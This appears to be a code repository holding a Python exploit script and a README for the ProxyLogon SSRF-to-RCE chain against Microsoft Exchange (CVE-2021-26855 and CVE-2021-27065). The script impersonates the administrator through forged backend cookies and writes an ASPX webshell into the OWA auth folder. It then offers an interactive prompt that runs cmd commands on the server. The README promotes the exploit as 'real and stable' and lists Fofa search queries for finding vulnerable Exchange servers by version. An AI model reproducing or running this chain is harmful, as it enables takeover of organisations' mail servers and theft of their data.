├── Exchange_SSRFtoRCEChainExploit.py └── README.md /Exchange_SSRFtoRCEChainExploit.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -* 2 | ''' 3 | Exchange RCE Chain Exploit 4 | Author: evilash@lab2 5 | ''' 6 | 7 | import requests 8 | import sys 9 | import string 10 | import random 11 | import re 12 | import time 13 | from urllib3.exceptions import InsecureRequestWarning 14 | 15 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 16 | 17 | 18 | #随机生成请求的静态文件名 19 | def id_generator(size=6, chars=string.ascii_lowercase + string.digits): 20 | return ''.join(random.choice(chars) for _ in range(size)) 21 | 22 | #获取DomainName 23 | #def GetDomainName(): 24 | 25 | 26 | def reqAutodiscover(url, FQDN_name, mail_valid): 27 | 28 | try: 29 | 30 | headers_for_autodiscover = { 31 | "User-Agent": user_agent, 32 | "Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=FQDN_name), 33 | "Connection": "close", 34 | "Content-Type": "text/xml" 35 | } 36 | 37 | 38 | res =requests.Session() 39 | req = res.post(url + '/ecp/' + random_name, headers=headers_for_autodiscover, verify=False,timeout=15) 40 | 41 | #print(req.text) 42 | if req.status_code != 200: 43 | print("(+) Autodiscover Error! Maybe not vul") 44 | exit() 45 | 46 | 47 | domainname = req.headers["X-CalculatedBETarget"].split(',')[1] 48 | print("(+) Domain Name = " + domainname) 49 | 50 | res.close() 51 | tmpmail = domainname[domainname.find(".")+1:] 52 | 53 | mail_valid = mail_valid + '@' +tmpmail 54 | 55 | autodiscover_payload = ''' 56 | 57 | 58 | {mail} 59 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a 60 | 61 | 62 | '''.format(mail=mail_valid) 63 | 64 | req = res.post(url + '/ecp/' + random_name, headers=headers_for_autodiscover, data=autodiscover_payload, verify=False,timeout=15) 65 | 66 | 67 | if "" not in req.text or "The email address can't be found." in req.text: 68 | print("(-) Can not get LegacyDN!, Because MailName Wrong!") 69 | exit() 70 | 71 | Guestsid = req.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0] 72 | print("(+) Guest SID = " + Guestsid) 73 | 74 | legacyDn = req.text.split("")[1].split("")[0] 75 | #legacyDN = re.findall('(?:)(.+?)(?:)', txtstr) 76 | print("(+) Got DN: " + legacyDn) 77 | 78 | MailBoxId = req.text.split('')[1].split('')[0] 79 | print("(+) Got MailBoxId: " + MailBoxId) 80 | 81 | MapiRequest(url, legacyDn, FQDN_name, MailBoxId) 82 | 83 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e: 84 | #print(e) 85 | pass 86 | 87 | def MapiRequest(url, legacyDn, FQDN_name, MailBoxId): 88 | 89 | headers_for_mapi = { 90 | "User-Agent": user_agent, 91 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/mapi/emsmdb?MailboxId={ID}&a=~1942062522;".format(FQDN=FQDN_name, ID=MailBoxId), 92 | "Content-Type": "application/mapi-http", 93 | "X-Requesttype": "Connect", 94 | "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", 95 | "X-Clientapplication": "Outlook/15.0.4815.1002", 96 | "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2", 97 | } 98 | 99 | mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" 100 | 101 | try: 102 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_mapi, data=mapi_body, verify=False) 103 | 104 | if req.status_code != 200 or "act as owner of a UserMailbox" not in req.text: 105 | print("(-) Mapi Error!") 106 | exit() 107 | 108 | sid = req.text.split("with SID ")[1].split(" and MasterAccountSid")[0] 109 | print("(+) Got User SID: " + sid) 110 | 111 | rtmpsid = sid[sid.rfind("-")+1:] 112 | 113 | if rtmpsid != '500': 114 | ltmpsid = sid[:sid.rfind("-")+1] 115 | sid = ltmpsid + '500' 116 | print("(+) Fixed User SID: " + sid) 117 | 118 | ProxyLogonRequest(url, FQDN_name, sid) 119 | 120 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e: 121 | print(e) 122 | pass 123 | 124 | def ProxyLogonRequest(url, FQDN_name, sid): 125 | 126 | headers_for_proxylogon ={ 127 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/proxyLogon.ecp?a=~1942062522;".format(FQDN=FQDN_name), 128 | "Content-Type": "text/xml", 129 | "msExchLogonAccount": "S-1-5-21-3257950196-2120074785-2454614602-500", 130 | "msExchLogonMailbox": "S-1-5-20", 131 | #"msExchTargetmailbox": "micle@mit.loc", 132 | #"X-vDirObjectId": "S-1-5-21-3257950196-2120074785-2454614602-500", 133 | "User-Agent": user_agent 134 | } 135 | 136 | proxyLogon_request = """{SID}""".format(SID=sid) 137 | 138 | #proxyLogon_request = """{SID}S-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923""".format(SID=sid) 139 | 140 | try: 141 | #res = requests.session() 142 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_proxylogon, data=proxyLogon_request, verify=False) 143 | #print(req.headers) 144 | if req.status_code != 241 or not "set-cookie" in req.headers: 145 | print("(-) Proxylogon Error!") 146 | exit() 147 | 148 | sess_id = req.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] 149 | 150 | msExchEcpCanary = req.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] 151 | 152 | print("(+) Got session id: " + sess_id) 153 | print("(+) Got canary: " + msExchEcpCanary) 154 | 155 | UploadWebshell(url, FQDN_name, sess_id, msExchEcpCanary) 156 | 157 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e: 158 | print(e) 159 | pass 160 | 161 | def UploadWebshell(url, FQDN_name, sess_id, msExchEcpCanary): 162 | 163 | #Step 1 164 | headers_for_step1={ 165 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary), 166 | "Content-Type": "application/json; charset=utf-8", 167 | "msExchLogonMailbox": "S-1-5-20", 168 | "User-Agent": user_agent 169 | } 170 | 171 | json_for_step1={ 172 | "filter": { 173 | "Parameters": { 174 | "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", 175 | "SelectedView": "", "SelectedVDirType": "All" 176 | } 177 | }, 178 | "sort": {} 179 | } 180 | 181 | try: 182 | #1 183 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_step1, json=json_for_step1, verify=False) 184 | 185 | #print(req.text) 186 | if req.status_code != 200: 187 | print("(-) GetOAB Error!") 188 | exit() 189 | 190 | oabId = req.text.split('"RawIdentity":"')[1].split('"')[0] 191 | print("(+) Got OAB id: " + oabId) 192 | 193 | 194 | #Step 2 195 | headers_for_upload1={ 196 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary), 197 | "Content-Type": "application/json; charset=utf-8", 198 | "msExchLogonMailbox": "S-1-5-20", 199 | "User-Agent": user_agent 200 | } 201 | 202 | json_for_upload1 = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, 203 | "properties": { 204 | "Parameters": { 205 | "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", 206 | "ExternalUrl": "http://test/#{SHELLPATH}".format(SHELLPATH=shell_content)}}} 207 | 208 | #upload1 209 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_upload1, json=json_for_upload1, verify=False) 210 | #print(req.text) 211 | if req.status_code != 200: 212 | print("(-) Set external url Error!") 213 | exit() 214 | 215 | print("(+) Set external url Success!") 216 | 217 | #upload2 218 | headers_for_upload2={ 219 | "Cookie": "X-BEResource=Admin@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary), 220 | "Content-Type": "application/json; charset=utf-8", 221 | "msExchLogonMailbox": "S-1-5-20", 222 | "User-Agent": user_agent 223 | } 224 | 225 | json_for_upload2 = { 226 | "identity": { 227 | "__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId 228 | }, 229 | "properties": { 230 | "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", 231 | "FilePathName": shell_absolute_path 232 | } 233 | } 234 | } 235 | 236 | #upload2 237 | rep = requests.post(url + '/ecp/' + random_name, headers=headers_for_upload2, json=json_for_upload2, verify=False) 238 | 239 | if rep.status_code != 200: 240 | print("(-) Write Shell Error!") 241 | exit() 242 | 243 | print("(+) Write Shell Success!") 244 | 245 | print('(+) Webshell at %s/owa/auth/%s '%(url, shell_name)) 246 | time.sleep(2) 247 | print("(+) Execute Command to proof:\n") 248 | 249 | while True: 250 | 251 | cmd = input('CMD: ') 252 | 253 | #cmd = 'whoami' 254 | if cmd == 'exit': 255 | exit() 256 | 257 | shell_body_exec = '''exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())'''%cmd 258 | shell_req = requests.post('%s/owa/auth/%s'%(url, shell_name),headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': user_agent},data=shell_body_exec,verify=False) 259 | print(shell_req.text.split('Name :')[0]) 260 | 261 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e: 262 | print(e) 263 | pass 264 | 265 | 266 | 267 | 268 | def GetFQDN(url, mail_valid): 269 | try: 270 | print('[+] Target: %s'%url) 271 | res =requests.Session() 272 | req = res.post(url + '/owa/auth.owa', verify=False,timeout=15) 273 | 274 | if not req.status_code == 400: 275 | print('[-] Can not get FQDN!') 276 | exit(0) 277 | FQDN_name = req.headers["X-FEServer"] 278 | print('(+) Getting FQDN Name: %s'%(FQDN_name)) 279 | 280 | reqAutodiscover(url, FQDN_name, mail_valid) 281 | 282 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e: 283 | print(e) 284 | pass 285 | 286 | random_name = id_generator(3) + ".js" 287 | 288 | user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 289 | 290 | #shell_content = '' 291 | shell_content = '<%@ Page Language="Jscript"%>' 292 | shell_name = "tes2.aspx" 293 | shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\{SHELLNAME}".format(SHELLNAME=shell_name) 294 | #shell_path = "inetpub\\wwwroot\\{SHELLNAME}".format(SHELLNAME=shell_name) 295 | shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path 296 | 297 | 298 | 299 | if(len(sys.argv) < 3 or sys.argv[1] == '-h'): 300 | print('[*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.\n - Author @Evilash\n./%s \n'%(sys.argv[0])) 301 | exit(0) 302 | 303 | print("[*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.\n - Author @Evilash\n") 304 | GetFQDN(sys.argv[1], sys.argv[2]) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exchange SSRF toRCE Exploit 2 | 3 | 4 | 5 | **:warning:For educational and learning purposes only** 6 | 7 | #### CVE-2021-26855 8 | 9 | #### CVE-2021-27065 10 | 11 | ![屏幕快照 2021-03-15 16.46.58](https://gitee.com/evilashz/MyIMGs/raw/master/img/20210315171002.png) 12 | 13 | #### Usage 14 | 15 | ``` 16 | [*] ProxyLogon-Exchange SSRF to RCE Exploit Chain. 17 | - Author @Evilash 18 | ./Exchange_SSRFtoRCEChainExploit.py 19 | ``` 20 | 21 | Real and stable exploit to RCE , enjoy it :) 22 | 23 | #### Fofa Quary 24 | 25 | ``` 26 | microsoft exchange 2013: 27 | app="Microsoft-Exchange-2013"||app="Microsoft-Exchange-Server-2013-CU21"||app="Microsoft-Exchange-Server-2013-CU17"||app="Microsoft-Exchange-Server-2013-CU23"||app="Microsoft-Exchange-Server-2013-CU13"||app="Microsoft-Exchange-Server-2013-CU22"||app="Microsoft-Exchange-Server-2013-CU11"||app="Microsoft-Exchange-Server-2013-CU2"||app="Microsoft-Exchange-Server-2013-CU16"||app="Microsoft-Exchange-Server-2013-CU19"||app="Microsoft-Exchange-Server-2013-CU3"||app="Microsoft-Exchange-Server-2013-CU18"||app="Microsoft-Exchange-Server-2013-CU5"||app="Microsoft-Exchange-Server-2013-CU20"||app="Microsoft-Exchange-Server-2013-CU12"||app="Microsoft-Exchange-Server-2013-CU15"||app="Microsoft-Exchange-Server-2013-CU10"||app="Microsoft-Exchange-Server-2013-CU9"||app="Microsoft-Exchange-Server-2013-CU6"||app="Microsoft-Exchange-Server-2013-CU7"||app="Microsoft-Exchange-Server-2013-CU1"||app="Microsoft-Exchange-Server-2013-CU14"||app="Microsoft-Exchange-Server-2013-CU8"||app="Microsoft-Exchange-Server-2013-RTM"||app="Microsoft-Exchange-Server-2013-SP1"||app="Microsoft-Exchange-2013" 28 | 29 | microsoft exchange 2016: 30 | app="Microsoft-Exchange-Server-2016-CU19"||app="Microsoft-Exchange-Server-2016-CU3"||app="Microsoft-Exchange-Server-2016-CU12"||app="Microsoft-Exchange-Server-2016-RTM"||app="Microsoft-Exchange-Server-2016-CU7"||app="Microsoft-Exchange-Server-2016-CU17"||app="Microsoft-Exchange-Server-2016-CU2"||app="Microsoft-Exchange-Server-2016-CU1"||app="Microsoft-Exchange-Server-2016-CU14"||app="Microsoft-Exchange-Server-2016-CU5"||app="Microsoft-Exchange-Server-2016-CU11"||app="Microsoft-Exchange-Server-2016-CU9"||app="Microsoft-Exchange-Server-2016-CU16"||app="Microsoft-Exchange-Server-2016-CU10"||app="Microsoft-Exchange-Server-2016-CU6"||app="Microsoft-Exchange-Server-2016-CU13"||app="Microsoft-Exchange-Server-2016-CU18"||app="Microsoft-Exchange-Server-2016-CU8"||app="Microsoft-Exchange-Server-2016-CU4"||app="Microsoft-Exchange-2016-POP3-server" 31 | 32 | microsoft exchange 2019: 33 | app="Microsoft-Exchange-Server-2019-CU5"||app="Microsoft-Exchange-Server-2019-CU3"||app="Microsoft-Exchange-Server-2019-Preview"||app="Microsoft-Exchange-Server-2019-CU8"||app="Microsoft-Exchange-Server-2019-CU1"||app="Microsoft-Exchange-Server-2019-CU7"||app="Microsoft-Exchange-Server-2019-CU2"||app="Microsoft-Exchange-Server-2019-CU6"||app="Microsoft-Exchange-Server-2019-RTM"||app="Microsoft-Exchange-Server-2019-CU4" 34 | 35 | 36 | microsoft exchange 2010: 37 | app="Microsoft-Exchange-2010-POP3-server-version-03.1"||app="Microsoft-Exchange-Server-2010" 38 | ``` --------------------------------------------------------------------------------